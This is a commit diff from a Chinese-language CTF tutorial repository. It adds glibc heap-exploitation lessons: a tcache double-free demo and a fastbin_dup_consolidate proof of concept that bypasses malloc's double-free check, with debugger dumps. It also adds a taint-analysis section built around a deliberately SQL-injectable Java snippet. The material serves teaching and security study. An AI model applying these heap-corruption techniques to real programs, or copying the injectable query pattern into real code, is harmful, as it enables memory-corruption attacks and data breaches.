mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-25 11:41:16 +07:00
update 3.3.6
This commit is contained in:
parent
c6cebca6dd
commit
497f67c428
@ -5,6 +5,7 @@
|
|||||||
- [first_fit](#first_fit)
|
- [first_fit](#first_fit)
|
||||||
- [fastbin_dup](#fastbin_dup)
|
- [fastbin_dup](#fastbin_dup)
|
||||||
- [fastbin_dup_into_stack](#fastbin_dup_into_stack)
|
- [fastbin_dup_into_stack](#fastbin_dup_into_stack)
|
||||||
|
- [fastbin_dup_consolidate](#fastbin_dup_consolidate)
|
||||||
- [unsafe_unlink](#unsafe_unlink)
|
- [unsafe_unlink](#unsafe_unlink)
|
||||||
- [house_of_spirit](#house_of_spirit)
|
- [house_of_spirit](#house_of_spirit)
|
||||||
- [参考资料](#参考资料)
|
- [参考资料](#参考资料)
|
||||||
@ -317,6 +318,65 @@ previously allocated by thread T0 here:
|
|||||||
```
|
```
|
||||||
一个很明显的 double-free 漏洞。关于这类漏洞的详细利用过程,我们会在后面的章节里再讲。
|
一个很明显的 double-free 漏洞。关于这类漏洞的详细利用过程,我们会在后面的章节里再讲。
|
||||||
|
|
||||||
|
看一点新鲜的,在 libc-2.26 中,即使两次 free,也并没有触发 double-free 的异常检测,这与 tcache 机制有关,以后会详细讲述。这里先看个能够在该版本下触发 double-free 的例子:
|
||||||
|
```c
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
int i;
|
||||||
|
|
||||||
|
void *p = malloc(0x40);
|
||||||
|
fprintf(stderr, "First allocate a fastbin: p=%p\n", p);
|
||||||
|
|
||||||
|
fprintf(stderr, "Then free(p) 7 times\n");
|
||||||
|
for (i = 0; i < 7; i++) {
|
||||||
|
fprintf(stderr, "free %d: %p => %p\n", i+1, &p, p);
|
||||||
|
free(p);
|
||||||
|
}
|
||||||
|
|
||||||
|
fprintf(stderr, "Then malloc 8 times at the same address\n");
|
||||||
|
int *a[10];
|
||||||
|
for (i = 0; i < 8; i++) {
|
||||||
|
a[i] = malloc(0x40);
|
||||||
|
fprintf(stderr, "malloc %d: %p => %p\n", i+1, &a[i], a[i]);
|
||||||
|
}
|
||||||
|
|
||||||
|
fprintf(stderr, "Finally trigger double-free\n");
|
||||||
|
for (i = 0; i < 2; i++) {
|
||||||
|
fprintf(stderr, "free %d: %p => %p\n", i+1, &a[i], a[i]);
|
||||||
|
free(a[i]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
```
|
||||||
|
$ gcc -g tcache_double-free.c
|
||||||
|
$ ./a.out
|
||||||
|
First allocate a fastbin: p=0x559e30950260
|
||||||
|
Then free(p) 7 times
|
||||||
|
free 1: 0x7ffc498b2958 => 0x559e30950260
|
||||||
|
free 2: 0x7ffc498b2958 => 0x559e30950260
|
||||||
|
free 3: 0x7ffc498b2958 => 0x559e30950260
|
||||||
|
free 4: 0x7ffc498b2958 => 0x559e30950260
|
||||||
|
free 5: 0x7ffc498b2958 => 0x559e30950260
|
||||||
|
free 6: 0x7ffc498b2958 => 0x559e30950260
|
||||||
|
free 7: 0x7ffc498b2958 => 0x559e30950260
|
||||||
|
Then malloc 8 times at the same address
|
||||||
|
malloc 1: 0x7ffc498b2960 => 0x559e30950260
|
||||||
|
malloc 2: 0x7ffc498b2968 => 0x559e30950260
|
||||||
|
malloc 3: 0x7ffc498b2970 => 0x559e30950260
|
||||||
|
malloc 4: 0x7ffc498b2978 => 0x559e30950260
|
||||||
|
malloc 5: 0x7ffc498b2980 => 0x559e30950260
|
||||||
|
malloc 6: 0x7ffc498b2988 => 0x559e30950260
|
||||||
|
malloc 7: 0x7ffc498b2990 => 0x559e30950260
|
||||||
|
malloc 8: 0x7ffc498b2998 => 0x559e30950260
|
||||||
|
Finally trigger double-free
|
||||||
|
free 1: 0x7ffc498b2960 => 0x559e30950260
|
||||||
|
free 2: 0x7ffc498b2968 => 0x559e30950260
|
||||||
|
double free or corruption (fasttop)
|
||||||
|
[2] 1244 abort (core dumped) ./a.out
|
||||||
|
```
|
||||||
|
|
||||||
#### fastbin_dup_into_stack
|
#### fastbin_dup_into_stack
|
||||||
```c
|
```c
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
@ -473,6 +533,178 @@ gef➤ x/5gx 0x7fffffffdc38-0x8
|
|||||||
|
|
||||||
所以对于 fastbins,可以通过 double-free 覆盖 fastbins 的结构,来获得一个指向任意地址的指针。
|
所以对于 fastbins,可以通过 double-free 覆盖 fastbins 的结构,来获得一个指向任意地址的指针。
|
||||||
|
|
||||||
|
#### fastbin_dup_consolidate
|
||||||
|
```c
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
void *p1 = malloc(0x10);
|
||||||
|
void *p2 = malloc(0x10);
|
||||||
|
strcpy(p1, "AAAAAAAA");
|
||||||
|
strcpy(p2, "BBBBBBBB");
|
||||||
|
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
|
||||||
|
|
||||||
|
fprintf(stderr, "Now free p1!\n");
|
||||||
|
free(p1);
|
||||||
|
|
||||||
|
void *p3 = malloc(0x400);
|
||||||
|
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
|
||||||
|
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
|
||||||
|
|
||||||
|
free(p1);
|
||||||
|
fprintf(stderr, "Trigger the double free vulnerability!\n");
|
||||||
|
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
|
||||||
|
|
||||||
|
void *p4 = malloc(0x10);
|
||||||
|
strcpy(p4, "CCCCCCC");
|
||||||
|
void *p5 = malloc(0x10);
|
||||||
|
strcpy(p5, "DDDDDDDD");
|
||||||
|
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", p4, p5);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
```
|
||||||
|
$ gcc -g fastbin_dup_consolidate.c
|
||||||
|
$ ./a.out
|
||||||
|
Allocated two fastbins: p1=0x17c4010 p2=0x17c4030
|
||||||
|
Now free p1!
|
||||||
|
Allocated large bin to trigger malloc_consolidate(): p3=0x17c4050
|
||||||
|
In malloc_consolidate(), p1 is moved to the unsorted bin.
|
||||||
|
Trigger the double free vulnerability!
|
||||||
|
We can pass the check in malloc() since p1 is not fast top.
|
||||||
|
Now p1 is in unsorted bin and fast bin. So we'will get it twice: 0x17c4010 0x17c4010
|
||||||
|
```
|
||||||
|
这个程序展示了利用在 large bin 的分配中 malloc_consolidate 机制绕过 fastbin 对 double free 的检查,这个检查在 fastbin_dup 中已经展示过了,只不过它利用的是在两次 free 中间插入一次对其它 chunk 的 free。
|
||||||
|
|
||||||
|
首先分配两个 fast chunk:
|
||||||
|
```
|
||||||
|
gef➤ x/15gx 0x602010-0x10
|
||||||
|
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1
|
||||||
|
0x602010: 0x4141414141414141 0x0000000000000000
|
||||||
|
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk p2
|
||||||
|
0x602030: 0x4242424242424242 0x0000000000000000
|
||||||
|
0x602040: 0x0000000000000000 0x0000000000020fc1 <-- top chunk
|
||||||
|
0x602050: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x602060: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x602070: 0x0000000000000000
|
||||||
|
```
|
||||||
|
释放掉 p1,则空闲 chunk 加入到 fastbins 中:
|
||||||
|
```
|
||||||
|
gef➤ x/15gx 0x602010-0x10
|
||||||
|
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [be freed]
|
||||||
|
0x602010: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk p2
|
||||||
|
0x602030: 0x4242424242424242 0x0000000000000000
|
||||||
|
0x602040: 0x0000000000000000 0x0000000000020fc1 <-- top chunk
|
||||||
|
0x602050: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x602060: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x602070: 0x0000000000000000
|
||||||
|
gef➤ heap bins fast
|
||||||
|
[ Fastbins for arena 0x7ffff7dd1b20 ]
|
||||||
|
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
|
||||||
|
```
|
||||||
|
此时如果我们再次释放 p1,必然触发 double free 异常,然而,如果此时分配一个 large chunk,效果如下:
|
||||||
|
```
|
||||||
|
gef➤ x/15gx 0x602010-0x10
|
||||||
|
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [be freed]
|
||||||
|
0x602010: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 <-- fd, bk pointer
|
||||||
|
0x602020: 0x0000000000000020 0x0000000000000020 <-- chunk p2
|
||||||
|
0x602030: 0x4242424242424242 0x0000000000000000
|
||||||
|
0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3
|
||||||
|
0x602050: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x602060: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x602070: 0x0000000000000000
|
||||||
|
gef➤ heap bins fast
|
||||||
|
[ Fastbins for arena 0x7ffff7dd1b20 ]
|
||||||
|
Fastbins[idx=0, size=0x10] 0x00
|
||||||
|
gef➤ heap bins small
|
||||||
|
[ Small Bins for arena 'main_arena' ]
|
||||||
|
[+] small_bins[1]: fw=0x602000, bk=0x602000
|
||||||
|
→ Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
|
||||||
|
[+] Found 1 chunks in 1 small non-empty bins.
|
||||||
|
```
|
||||||
|
可以看到 fastbins 中的 chunk 已经不见了,反而出现在了 small bins 中,并且 chunk p2 的 prev_size 和 size 字段都被修改。
|
||||||
|
|
||||||
|
看一下 large chunk 的分配过程:
|
||||||
|
```c
|
||||||
|
/*
|
||||||
|
If this is a large request, consolidate fastbins before continuing.
|
||||||
|
While it might look excessive to kill all fastbins before
|
||||||
|
even seeing if there is space available, this avoids
|
||||||
|
fragmentation problems normally associated with fastbins.
|
||||||
|
Also, in practice, programs tend to have runs of either small or
|
||||||
|
large requests, but less often mixtures, so consolidation is not
|
||||||
|
invoked all that often in most programs. And the programs that
|
||||||
|
it is called frequently in otherwise tend to fragment.
|
||||||
|
*/
|
||||||
|
|
||||||
|
else
|
||||||
|
{
|
||||||
|
idx = largebin_index (nb);
|
||||||
|
if (have_fastchunks (av))
|
||||||
|
malloc_consolidate (av);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
当分配 large chunk 时,首先根据 chunk 的大小获得对应的 large bin 的 index,接着判断当前分配区的 fast bins 中是否包含 chunk,如果有,调用 malloc_consolidate() 函数合并 fast bins 中的 chunk,并将这些空闲 chunk 加入 unsorted bin 中。因为这里分配的是一个 large chunk,所以 unsorted bin 中的 chunk 按照大小被放回 small bins 或 large bins 中。
|
||||||
|
|
||||||
|
由于此时 p1 已经不在 fastbins 的顶部,可以再次释放 p1:
|
||||||
|
```
|
||||||
|
gef➤ x/15gx 0x602010-0x10
|
||||||
|
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [double freed]
|
||||||
|
0x602010: 0x0000000000000000 0x00007ffff7dd1b88
|
||||||
|
0x602020: 0x0000000000000020 0x0000000000000020 <-- chunk p2
|
||||||
|
0x602030: 0x4242424242424242 0x0000000000000000
|
||||||
|
0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3
|
||||||
|
0x602050: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x602060: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x602070: 0x0000000000000000
|
||||||
|
gef➤ heap bins fast
|
||||||
|
[ Fastbins for arena 0x7ffff7dd1b20 ]
|
||||||
|
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
|
||||||
|
gef➤ heap bins small
|
||||||
|
[ Small Bins for arena 'main_arena' ]
|
||||||
|
[+] small_bins[1]: fw=0x602000, bk=0x602000
|
||||||
|
→ Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
|
||||||
|
[+] Found 1 chunks in 1 small non-empty bins.
|
||||||
|
```
|
||||||
|
p1 被再次放入 fastbins,于是 p1 同时存在于 fabins 和 small bins 中。
|
||||||
|
|
||||||
|
第一次 malloc,chunk 将从 fastbins 中取出:
|
||||||
|
```
|
||||||
|
gef➤ x/15gx 0x602010-0x10
|
||||||
|
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [be freed], chunk p4
|
||||||
|
0x602010: 0x0043434343434343 0x00007ffff7dd1b88
|
||||||
|
0x602020: 0x0000000000000020 0x0000000000000020 <-- chunk p2
|
||||||
|
0x602030: 0x4242424242424242 0x0000000000000000
|
||||||
|
0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3
|
||||||
|
0x602050: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x602060: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x602070: 0x0000000000000000
|
||||||
|
gef➤ heap bins fast
|
||||||
|
[ Fastbins for arena 0x7ffff7dd1b20 ]
|
||||||
|
Fastbins[idx=0, size=0x10] 0x00
|
||||||
|
gef➤ heap bins small
|
||||||
|
[ Small Bins for arena 'main_arena' ]
|
||||||
|
[+] small_bins[1]: fw=0x602000, bk=0x602000
|
||||||
|
→ Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
|
||||||
|
[+] Found 1 chunks in 1 small non-empty bins.
|
||||||
|
```
|
||||||
|
第二次 malloc,chunk 从 small bins 中取出:
|
||||||
|
```
|
||||||
|
gef➤ x/15gx 0x602010-0x10
|
||||||
|
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p4, chunk p5
|
||||||
|
0x602010: 0x4444444444444444 0x00007ffff7dd1b00
|
||||||
|
0x602020: 0x0000000000000020 0x0000000000000021 <-- chunk p2
|
||||||
|
0x602030: 0x4242424242424242 0x0000000000000000
|
||||||
|
0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3
|
||||||
|
0x602050: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x602060: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x602070: 0x0000000000000000
|
||||||
|
```
|
||||||
|
chunk p4 和 p5 在同一位置。
|
||||||
|
|
||||||
#### unsafe_unlink
|
#### unsafe_unlink
|
||||||
```c
|
```c
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -1,11 +1,21 @@
|
|||||||
# 4.3 GCC 编译参数解析
|
# 4.3 GCC 编译参数解析
|
||||||
|
|
||||||
|
- [GCC](#gcc)
|
||||||
- [常用选择](#常用选项)
|
- [常用选择](#常用选项)
|
||||||
- [Address sanitizer](#address-sanitizer)
|
- [Address sanitizer](#address-sanitizer)
|
||||||
- [mcheck](#mcheck)
|
- [mcheck](#mcheck)
|
||||||
- [参考资料](#参考资料)
|
- [参考资料](#参考资料)
|
||||||
|
|
||||||
|
|
||||||
|
## GCC
|
||||||
|
```
|
||||||
|
$ wget -c http://www.mirrorservice.org/sites/sourceware.org/pub/gcc/releases/gcc-4.4.0/gcc-4.4.0.tar.bz2
|
||||||
|
$ tar -xjvf gcc-4.4.0.tar.bz2
|
||||||
|
$ ./configure
|
||||||
|
$ make && sudo make install
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
## 常用选项
|
## 常用选项
|
||||||
#### 控制标准版本的编译选项
|
#### 控制标准版本的编译选项
|
||||||
- `-ansi`:告诉编译器遵守 C 语言的 ISO C90 标准。
|
- `-ansi`:告诉编译器遵守 C 语言的 ISO C90 标准。
|
||||||
|
@ -1 +1,65 @@
|
|||||||
# 5.5 污点分析
|
# 5.5 污点分析
|
||||||
|
|
||||||
|
- [基本原理](#基本原理)
|
||||||
|
- [方法实现](#方法实现)
|
||||||
|
- [实例分析](#实例分析)
|
||||||
|
|
||||||
|
|
||||||
|
## 基本原理
|
||||||
|
污点分析是一种跟踪并分析污点信息在程序中流动的技术。在漏洞分析中,使用污点分析技术将所感兴趣的数据(通常来自程序的外部输入)标记为污点数据,然后通过跟踪和污点数据相关的信息的流向,可以知道它们是否会影响某些关键的程序操作,进而挖掘程序漏洞。即将程序是否存在某种漏洞的问题转化为污点信息是否会被 Sink 点上的操作所使用的问题。
|
||||||
|
|
||||||
|
污点分析常常包括以下几个部分:
|
||||||
|
- 识别污点信息在程序中的产生点(Source点)并对污点信息进行标记
|
||||||
|
- 利用特定的规则跟踪分析污点信息在程序中的传播过程
|
||||||
|
- 在一些关键的程序点(Sink点)检测关键的操作是否会受到污点信息的影响
|
||||||
|
|
||||||
|
举个例子:
|
||||||
|
```
|
||||||
|
[...]
|
||||||
|
scanf("%d", &x); // Source 点,输入数据被标记为污点信息,并且认为变量 x 是污染的
|
||||||
|
[...]
|
||||||
|
y = x + k; // 如果二元操作的操作数是污染的,那么操作结果也是污染的,所以变量 y 也是污染的
|
||||||
|
[...]
|
||||||
|
x = 0; // 如果一个被污染的变量被赋值为一个常数,那么认为它是未污染的,所以 x 转变成未污染的
|
||||||
|
[...]
|
||||||
|
while (i < y) // Sink 点,如果规定循环的次数不能受程序输入的影响,那么需要检查 y 是否被污染
|
||||||
|
```
|
||||||
|
|
||||||
|
然而污点信息不仅可以通过数据依赖传播,还可以通过控制依赖传播。我们将通过数据依赖传播的信息流称为显式信息流,将通过控制依赖传播的信息流称为隐式信息流。
|
||||||
|
|
||||||
|
举个例子:
|
||||||
|
```c
|
||||||
|
if (x > 0)
|
||||||
|
y = 1;
|
||||||
|
else
|
||||||
|
y = 0;
|
||||||
|
```
|
||||||
|
变量 y 的取值依赖于变量 x 的取值,如果变量 x 是污染的,那么变量 y 也应该是污染的。
|
||||||
|
|
||||||
|
通常我们将使用污点分析可以检测的程序漏洞称为污点类型的漏洞,例如 SQL 注入漏洞:
|
||||||
|
```java
|
||||||
|
String user = getUser();
|
||||||
|
String pass = getPass();
|
||||||
|
String sqlQuery = "select * from login where user='" + user + "' and pass='" + pass + "'";
|
||||||
|
Statement stam = con.createStatement();
|
||||||
|
ResultSetrs = stam.executeQuery(sqlQuery);
|
||||||
|
if (rs.next())
|
||||||
|
success = true;
|
||||||
|
```
|
||||||
|
在进行污点分析时,将变量 user 和 pass 标记为污染的,由于变量 sqlQuery 的值受到 user 和 pass 的影响,所以将 sqlQuery 也标记为污染的。程序将变量 sqlQuery 作为参数构造 SQL 操作语句,于是可以判定程序存在 SQL 注入漏洞。
|
||||||
|
|
||||||
|
使用污点分析检测程序漏洞的工作原理如下图所示:
|
||||||
|
|
||||||
|
![](../pic/5.5_overview.png)
|
||||||
|
|
||||||
|
- 基于数据流的污点分析。在不考虑隐式信息流的情况下,可以将污点分析看做针对污点数据的数据流分析。根据污点传播规则跟踪污点信息或者标记路径上的变量污染情况,进而检查污点信息是否影响敏感操作。
|
||||||
|
- 基于依赖关系的污点分析。考虑隐式信息流,在分析过程中,根据程序中的语句或者指令之间的依赖关系,检查 Sink 点处敏感操作是否依赖于 Source 点处接收污点信息的操作。
|
||||||
|
|
||||||
|
|
||||||
|
## 方法实现
|
||||||
|
#### 基于数据流的污点分析
|
||||||
|
|
||||||
|
#### 基于依赖关系的污点分析
|
||||||
|
|
||||||
|
|
||||||
|
## 实例分析
|
||||||
|
BIN
pic/5.5_overview.png
Normal file
BIN
pic/5.5_overview.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 49 KiB |
@ -1,4 +1,4 @@
|
|||||||
PROGRAMS = fastbin_dup fastbin_dup_into_stack unsafe_unlink house_of_spirit poison_null_byte malloc_playground first_fit house_of_lore overlapping_chunks overlapping_chunks_2 house_of_force unsorted_bin_attack house_of_einherjar house_of_orange
|
PROGRAMS = fastbin_dup tcache_double-free fastbin_dup_into_stack fastbin_dup_consolidate unsafe_unlink house_of_spirit poison_null_byte malloc_playground first_fit house_of_lore overlapping_chunks overlapping_chunks_2 house_of_force unsorted_bin_attack house_of_einherjar house_of_orange
|
||||||
CFLAGS += -std=c99 -g
|
CFLAGS += -std=c99 -g
|
||||||
|
|
||||||
# CFLAGS += -fsanitize=address
|
# CFLAGS += -fsanitize=address
|
||||||
|
29
src/Others/3.3.6_heap_exploit/fastbin_dup_consolidate.c
Normal file
29
src/Others/3.3.6_heap_exploit/fastbin_dup_consolidate.c
Normal file
@ -0,0 +1,29 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
void *p1 = malloc(0x10);
|
||||||
|
void *p2 = malloc(0x10);
|
||||||
|
strcpy(p1, "AAAAAAAA");
|
||||||
|
strcpy(p2, "BBBBBBBB");
|
||||||
|
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
|
||||||
|
|
||||||
|
fprintf(stderr, "Now free p1!\n");
|
||||||
|
free(p1);
|
||||||
|
|
||||||
|
void *p3 = malloc(0x400);
|
||||||
|
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
|
||||||
|
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
|
||||||
|
|
||||||
|
free(p1);
|
||||||
|
fprintf(stderr, "Trigger the double free vulnerability!\n");
|
||||||
|
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
|
||||||
|
|
||||||
|
void *p4 = malloc(0x10);
|
||||||
|
strcpy(p4, "CCCCCCC");
|
||||||
|
void *p5 = malloc(0x10);
|
||||||
|
strcpy(p5, "DDDDDDDD");
|
||||||
|
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", p4, p5);
|
||||||
|
}
|
28
src/Others/3.3.6_heap_exploit/tcache_double-free.c
Normal file
28
src/Others/3.3.6_heap_exploit/tcache_double-free.c
Normal file
@ -0,0 +1,28 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
int i;
|
||||||
|
|
||||||
|
void *p = malloc(0x40);
|
||||||
|
fprintf(stderr, "First allocate a fastbin: p=%p\n", p);
|
||||||
|
|
||||||
|
fprintf(stderr, "Then free(p) 7 times\n");
|
||||||
|
for (i = 0; i < 7; i++) {
|
||||||
|
fprintf(stderr, "free %d: %p => %p\n", i+1, &p, p);
|
||||||
|
free(p);
|
||||||
|
}
|
||||||
|
|
||||||
|
fprintf(stderr, "Then malloc 8 times at the same address\n");
|
||||||
|
int *a[10];
|
||||||
|
for (i = 0; i < 8; i++) {
|
||||||
|
a[i] = malloc(0x40);
|
||||||
|
fprintf(stderr, "malloc %d: %p => %p\n", i+1, &a[i], a[i]);
|
||||||
|
}
|
||||||
|
|
||||||
|
fprintf(stderr, "Finally trigger double-free\n");
|
||||||
|
for (i = 0; i < 2; i++) {
|
||||||
|
fprintf(stderr, "free %d: %p => %p\n", i+1, &a[i], a[i]);
|
||||||
|
free(a[i]);
|
||||||
|
}
|
||||||
|
}
|
Loading…
Reference in New Issue
Block a user